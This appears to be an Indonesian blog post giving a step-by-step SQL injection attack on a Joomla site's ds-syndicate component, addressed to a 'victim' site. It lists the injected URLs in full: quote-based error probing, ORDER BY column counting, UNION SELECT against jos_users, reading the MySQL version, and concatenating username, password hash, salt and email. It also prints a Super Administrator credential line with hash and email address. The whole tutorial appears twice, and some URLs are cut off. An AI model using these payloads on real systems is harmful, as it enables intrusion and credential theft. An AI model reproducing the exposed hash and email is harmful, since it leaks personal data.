ok kali ini shadows mau ngebahas cara Implementasi SQL Injection pada Joomla
yuu Langsung aja …
http:// korban.com/index2.php?option=ds-syndicate&version=1&feed_id=1
Url ini menampilkan feeds seperti biasanya, tapi beda halnya jika kita tes kelemahannya, dengan penambahan tanda kutip ( ‘ ) di belakangnya.
http:// korban.com/index2.php?option=ds-syndicate&version=1&feed_id=1′
Apa yang terjadi ? … error…
Langkah selanjutnya adalah cari urutan si table ‘dssyndicate_feeds’ dengan mendapatkan bentuk error yang sama, dan berhenti ketika mendapatkan error yang berbeda :
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+1/* –> errornya sama
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+2/* –> errornya sama
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+3/* –> errornya sama
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+4/* –> errornya sama
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+20/* –> errornya sama
…
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+21/* –> errornya berbeda
perhatikan bentuk error-nya berbeda ketika feed_id yang diisi dengan 1+order+by+21/*, ini adalah patokan untuk melakukan injeksi sql yang selanjutnya.
Langkah selanjutnya adalah penggunaan union, lebih jelasnya mengenai fungsi union, silahkan baca di sini.
Selanjutnya kita test, apakah fungsi union dapat berjalan pada url korban.
index2.php?option=ds-syndicate&version=1&feed_id=1+union+all+select+1,2 ,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+fr om+jos_users
lihat paling akhir dari baris tersebut,
from+jos_users
jos_users adalah nama table yang diambil dari struktur database joomla. Berisi mengenai informasi login user.
Sedangkan 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ini diperoleh berdasarkan yang telah penulis jelaskan sebelumnya.
Ya setelah url di atas di enter, yang perlu dilakukan adalah mendownload file tersebut,
Setelah itu buka file yang baru didownload tersebut dengan editor seperti notepad, walaupun filenya xml, tapi penulis tetap menyarankan untuk membukanya dengan notepad, tidak dengan browser internet, karena memudahkan untuk pembacaan hasil dari sql injection yang telah dilakukan.
Lihat angka 2 di dalam tag <title> :
<title>2 (18)</title>
Jangan pedulikan angka (18) di belakangnya, yang perlu diperhatikan adalah angka 2-nya. Ini berarti berdasarkan hasil query union menggunakan browser tadi, anda dapat menggunakan angka 2 tersebut untuk keperluan selanjutnya. Seperti mengganti angka 2 dengan kumpulan karakter lain untuk menggunakannya seperti melihat versi mysql yang digunakan, ya langsung saja, kita akan mencobanya untuk melihat versi mysql yang digunakan oleh si korban. Gunakan url ini …
http://korban.com/hack/joomla/index2…,18,19,20+from
+jos_users
perhatikan angka 2 diganti dengan kalimat @@version, enter, kemudian buka kembali file telah di download dengan notepad, apa yang terjadi ? title berubah menjadi versi si mysql, yang penulis dapatkan :
<title>5.0.33 (18)</title>
Mysql versi 5.0.33 , sampai sini anda telah dapat eksplorasi database user dengan leluasa. Apa yang dilakukan seorang attacker selanjutnya ? ya, mendapatkan username dan password si admin. .
Pengambilan username dan password secara paksa menggunakan sql injection ini dapat dilakukan secara satu persatu, ataupun sekaligus. Query untuk menampilkan username menggunakan bug sql injection yang satu ini, anda cukup mengganti @@version yang tadi dengan field yang menyimpan informasi username tentunya, gunakan url ini :
http://korban.com/hack/joomla/index2…16,17,18,19,20
+from+jos_users
jalankan url, download filenya, kemudian buka kembali dengan notepad. Hasilnya adalah username dari database tersebut …
<title>admin (18)</title>
Atau bisa juga ditampilkan informasi username, password, email, dan user_type sekaligus, gunakan url seperti ini :
http://korban.com/hack/joomla/index2…3a,usertype),3,
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+ jos_users
perhatikan, string username, diganti dengan concat(username,0×3a,password,0×3a,email,0×3a,user type), penggunaan concat disini adalah mengconvert suatu hexa, ataupun spesial karakter kedalam bentuk ascii, sehingga, yang terjadi nantinya adalah :
0×3a berubah menjadi titik dua ( : ), buka kembali file hasil dari url di atas. Yang penulis dapatkan adalah informasi seperti ini :
admin:bd3ca378488e00055d5b23df1252e443:EbnV8pXgTqI gApjK:alkemail@gmail.com:Super Administrator
Jika di urutkan :
Username : admin
Password ( hash ) : bd3ca378488e00055d5b23df1252e443:EbnV8pXgTqIgApjK
Email : alkemail@gmail.com
User type : Super Administrator
yuu Langsung aja …
http:// korban.com/index2.php?option=ds-syndicate&version=1&feed_id=1
Url ini menampilkan feeds seperti biasanya, tapi beda halnya jika kita tes kelemahannya, dengan penambahan tanda kutip ( ‘ ) di belakangnya.
http:// korban.com/index2.php?option=ds-syndicate&version=1&feed_id=1′
Apa yang terjadi ? … error…
Langkah selanjutnya adalah cari urutan si table ‘dssyndicate_feeds’ dengan mendapatkan bentuk error yang sama, dan berhenti ketika mendapatkan error yang berbeda :
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+1/* –> errornya sama
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+2/* –> errornya sama
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+3/* –> errornya sama
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+4/* –> errornya sama
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+20/* –> errornya sama
…
index2.php?option=ds-syndicate&version=1&feed_id=1+order+by+21/* –> errornya berbeda
perhatikan bentuk error-nya berbeda ketika feed_id yang diisi dengan 1+order+by+21/*, ini adalah patokan untuk melakukan injeksi sql yang selanjutnya.
Langkah selanjutnya adalah penggunaan union, lebih jelasnya mengenai fungsi union, silahkan baca di sini.
Selanjutnya kita test, apakah fungsi union dapat berjalan pada url korban.
index2.php?option=ds-syndicate&version=1&feed_id=1+union+all+select+1,2 ,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+fr om+jos_users
lihat paling akhir dari baris tersebut,
from+jos_users
jos_users adalah nama table yang diambil dari struktur database joomla. Berisi mengenai informasi login user.
Sedangkan 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ini diperoleh berdasarkan yang telah penulis jelaskan sebelumnya.
Ya setelah url di atas di enter, yang perlu dilakukan adalah mendownload file tersebut,
Setelah itu buka file yang baru didownload tersebut dengan editor seperti notepad, walaupun filenya xml, tapi penulis tetap menyarankan untuk membukanya dengan notepad, tidak dengan browser internet, karena memudahkan untuk pembacaan hasil dari sql injection yang telah dilakukan.
Lihat angka 2 di dalam tag <title> :
<title>2 (18)</title>
Jangan pedulikan angka (18) di belakangnya, yang perlu diperhatikan adalah angka 2-nya. Ini berarti berdasarkan hasil query union menggunakan browser tadi, anda dapat menggunakan angka 2 tersebut untuk keperluan selanjutnya. Seperti mengganti angka 2 dengan kumpulan karakter lain untuk menggunakannya seperti melihat versi mysql yang digunakan, ya langsung saja, kita akan mencobanya untuk melihat versi mysql yang digunakan oleh si korban. Gunakan url ini …
http://korban.com/hack/joomla/index2…,18,19,20+from
+jos_users
perhatikan angka 2 diganti dengan kalimat @@version, enter, kemudian buka kembali file telah di download dengan notepad, apa yang terjadi ? title berubah menjadi versi si mysql, yang penulis dapatkan :
<title>5.0.33 (18)</title>
Mysql versi 5.0.33 , sampai sini anda telah dapat eksplorasi database user dengan leluasa. Apa yang dilakukan seorang attacker selanjutnya ? ya, mendapatkan username dan password si admin. .
Pengambilan username dan password secara paksa menggunakan sql injection ini dapat dilakukan secara satu persatu, ataupun sekaligus. Query untuk menampilkan username menggunakan bug sql injection yang satu ini, anda cukup mengganti @@version yang tadi dengan field yang menyimpan informasi username tentunya, gunakan url ini :
http://korban.com/hack/joomla/index2…16,17,18,19,20
+from+jos_users
jalankan url, download filenya, kemudian buka kembali dengan notepad. Hasilnya adalah username dari database tersebut …
<title>admin (18)</title>
Atau bisa juga ditampilkan informasi username, password, email, dan user_type sekaligus, gunakan url seperti ini :
http://korban.com/hack/joomla/index2…3a,usertype),3,
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+ jos_users
perhatikan, string username, diganti dengan concat(username,0×3a,password,0×3a,email,0×3a,user type), penggunaan concat disini adalah mengconvert suatu hexa, ataupun spesial karakter kedalam bentuk ascii, sehingga, yang terjadi nantinya adalah :
0×3a berubah menjadi titik dua ( : ), buka kembali file hasil dari url di atas. Yang penulis dapatkan adalah informasi seperti ini :
admin:bd3ca378488e00055d5b23df1252e443:EbnV8pXgTqI gApjK:alkemail@gmail.com:Super Administrator
Jika di urutkan :
Username : admin
Password ( hash ) : bd3ca378488e00055d5b23df1252e443:EbnV8pXgTqIgApjK
Email : alkemail@gmail.com
User type : Super Administrator
0 comments:
Post a Comment